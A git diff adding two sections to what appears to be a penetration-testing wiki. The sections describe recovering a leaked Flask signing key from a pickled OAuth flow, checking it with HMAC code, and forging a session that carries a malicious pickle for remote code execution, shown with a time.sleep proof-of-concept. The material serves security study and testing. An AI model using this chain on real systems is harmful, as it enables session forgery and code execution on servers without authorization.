diff --git a/src/network-services-pentesting/pentesting-web/flask.md b/src/network-services-pentesting/pentesting-web/flask.md
index 421e9641578..04133df8fff 100644
--- a/src/network-services-pentesting/pentesting-web/flask.md
+++ b/src/network-services-pentesting/pentesting-web/flask.md
@@ -22,6 +22,30 @@ echo "ImhlbGxvIg" | base64 -d
Decoding does not verify the signature and does not reveal the secret key.
+#### Inspect tagged bytes and test a leaked signing key
+
+A decoded Flask session may contain a tagged bytes value under the key `" b"`. If an application stores a pickled OAuth flow there, Base64-decode that value and inspect it with `pickletools.dis()` **without calling `pickle.loads()` locally**. In one OAuth implementation, this exposed a client secret inside the flow object; the application had also reused that secret as its Flask signing key. This is an application mistake, not normal Flask behavior. In the example below, `session` is the parsed JSON payload of the decoded cookie.[[6]](#references)
+
+```python
+import base64, pickletools
+flow_key = next(k for k in session if k.startswith("google_oauth2_flow_"))
+blob = base64.b64decode(session[flow_key][" b"])
+pickletools.dis(blob)
+```
+
+For the affected cookie format, split the cookie value from the right into `payload`, `timestamp`, and `signature`. Test a recovered candidate key (as `bytes`) against the **original encoded** payload and timestamp; a match proves it can sign modified session data. This example uses the application's HMAC-SHA1 `cookie-session` derivation. Other signing configurations may differ.[[6]](#references)
+
+```python
+import base64, hmac
+payload, timestamp, signature = cookie.rsplit(".", 2)
+derived = hmac.digest(candidate_secret, b"cookie-session", "sha1")
+expected = hmac.digest(derived, f"{payload}.{timestamp}".encode(), "sha1")
+actual = base64.urlsafe_b64decode(signature + "=" * (-len(signature) % 4))
+print(hmac.compare_digest(expected, actual))
+```
+
+Once the key is known, the [Flask-Unsign](#flask-unsign) signing workflow below can forge session fields. If a callback later unpickles a flow stored in those fields, see [pickle deserialization from a forged Flask session](../../pentesting-web/deserialization/#pickle-deserialization-from-a-forged-flask-session). A shared key can also make forged sessions valid on sibling deployments with the same signing configuration.[[6]](#references)
+
### Flask-Unsign
`flask-unsign` can decode Flask session cookies and, during an authorized test, try candidate secret keys or sign a modified session when the key is known.[[3]](#references)
@@ -102,5 +126,6 @@ With a path such as `@attacker.example`, the constructed URL becomes `https://go
- [3] [flask-unsign](https://github.com/Paradoxis/Flask-Unsign)
- [4] [RIPsession](https://github.com/Tagvi/ripsession)
- [5] [Exploiting HTTP parser inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
+- [6] [Google DevSite Flask Session Pickle RCE](https://simonkoeck.com/writeups/google-devsite-flask-session-pickle-rce)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md
index 72c2378210a..fb9a323c1f9 100644
--- a/src/pentesting-web/deserialization/README.md
+++ b/src/pentesting-web/deserialization/README.md
@@ -234,6 +234,39 @@ print(base64.b64encode(pickle.dumps(P())))
Before checking the bypass technique, try using `print(base64.b64encode(pickle.dumps(P(),2)))` to generate an object that is compatible with python2 if you're running python3.
+#### Pickle deserialization from a forged Flask session
+
+Flask's default session format serializes tagged JSON, not pickle.[[60]](#references)
+
+The dangerous pattern is **application code** putting a pickled object into a bytes-valued session field and later calling `pickle.loads()` on that field. If the session signing key is disclosed, the attacker can replace the nested object even though the outer cookie signature is valid. A real OAuth callback stored a flow under `google_oauth2_flow_` and deserialized it after checking the signed session; the OAuth client secret was both exposed inside the original flow and reused as the signing key.[[59]](#references) Unlike [Django's direct PickleSerializer session](../../network-services-pentesting/pentesting-web/django.md#pickle-backed-signed-session-cookie-rce), the unsafe pickle here is a nested application value.
+
+After recovering and validating the signing key, choose the callback `state` value and put a pickle under the matching flow key.[[59]](#references) Pass the pickle as a Python `bytes` value to Flask's session serializer: it emits Base64 beneath the tagged JSON key `" b"` and restores bytes when loading the cookie. Do not pass a literal `{" b": ...}` dictionary to the serializer, because Flask escapes dictionaries whose sole key looks like a tag.[[60]](#references) The state token and flow lookup key must agree, but no pre-existing server-side flow is required in this pattern.[[59]](#references) See [Flask cookie decoding and signing](../../network-services-pentesting/pentesting-web/flask.md#inspect-tagged-bytes-and-test-a-leaked-signing-key) for the preceding step.
+
+For an authorized, non-destructive execution check, create a pickle whose `__reduce__()` calls `time.sleep()` rather than a command. Its delay is adjustable without changing the cookie or callback structure.[[59]](#references)
+
+```python
+import pickle, time
+class Sleep:
+ def __init__(self, seconds):
+ self.seconds = seconds
+ def __reduce__(self):
+ return (time.sleep, (self.seconds,))
+attacker_blob = pickle.dumps(Sleep(3))
+```
+
+Place the bytes value under the flow key selected by the callback state.[[59]](#references)
+
+```python
+state = "attacker-chosen"
+session = {
+ "_permanent": True,
+ "google_oauth2_csrf_token": state,
+ "google_oauth2_flow_" + state: attacker_blob,
+}
+```
+
+Sign the session with the recovered key and send it to the callback with the matching `state`. Compare latency with a zero-second payload and invalid-signature/no-flow controls. A delay tracking the chosen interval distinguishes execution during unpickling from normal endpoint latency; a later OAuth `invalid_grant` response does not rule out prior execution.[[59]](#references)
+
#### Length-field truncation to reach an internal pickle sink
Do not assume that an authentication check in front of `pickle.loads()` or `cPickle.loads()` makes that sink unreachable. Trace attacker-controlled values through every HTTP-to-RPC adapter and compare the **physical bytes appended by the sender** with the **lengths trusted by the receiver**. In legacy Python 2.6, packing an oversized integer into an unsigned-byte `B` field can retain only the low byte: `256` becomes `0`, while `289` becomes `33`. If the sender nevertheless appends the complete field, the two endpoints disagree about field boundaries.[[57]](#references)
@@ -1370,5 +1403,7 @@ Industrialized gadget discovery:
- [56] [PHP manual – `unserialize`](https://www.php.net/manual/en/function.unserialize.php)
- [57] [STAR Labs - Pickling the Mailbox: A Deep Dive into CVE-2025-20393](https://starlabs.sg/blog/2026/02-pickling-the-mailbox-a-deep-dive-into-cve-2025-20393)
- [58] [Horizon3.ai - Another SolarWinds Web Help Desk Deserialization Issue](https://horizon3.ai/attack-research/cve-2025-40551-another-solarwinds-web-help-desk-deserialization-issue)
+- [59] [Google DevSite Flask Session Pickle RCE](https://simonkoeck.com/writeups/google-devsite-flask-session-pickle-rce)
+- [60] [Flask TaggedJSONSerializer source](https://github.com/pallets/flask/blob/main/src/flask/json/tag.py)
{{#include ../../banners/hacktricks-training.md}}